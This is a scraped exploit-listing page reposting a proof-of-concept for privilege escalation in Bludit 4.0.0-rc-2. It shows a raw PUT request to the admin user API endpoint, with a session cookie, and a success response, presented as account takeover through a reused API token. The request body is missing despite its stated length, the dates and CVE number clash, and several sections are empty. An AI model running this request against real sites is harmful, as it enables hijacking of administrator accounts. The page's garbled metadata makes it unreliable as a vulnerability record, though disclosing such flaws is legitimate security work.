Bludit 4.0.0-rc-2 Privilege Escalation

CVE Category Price Severity
CVE-2020-15846 CWE-269 $3,000 High
Author Risk Exploitation Type Date
bigb0ss High Local 2023-04-11
Our sensors found this exploit at:

Below is a copy:

Bludit 4.0.0-rc-2 Privilege Escalation
## Title: Bludit-4.0.0-rc-2 - Release candidate 2 Account takeover:
API token vulnerability
## Author: nu11secur1ty
## Date: 04.11.2013
## Vendor:
## Software:
## Reference:
## Reference:

## Description:
The already authenticated attacker can send a normal request to change
his password and then he can use
the same JSON `object` and the vulnerable `API token KEY` in the same
request to change the admin account password.
Then he can access the admin account and he can do very malicious stuff.

STATUS: HIGH Vulnerability

PUT /api/users/admin HTTP/1.1
Content-Length: 138
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
content-type: application/json
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui
Connection: close



HTTP/1.1 200 OK
Date: Tue, 11 Apr 2023 08:33:51 GMT
Connection: close
X-Powered-By: PHP/7.4.30
Access-Control-Allow-Origin: *
Content-Type: application/json

{"status":"0","message":"User edited.","data":{"key":"admin"}}

## Reproduce:

## Proof and Exploit:

## Time spend:

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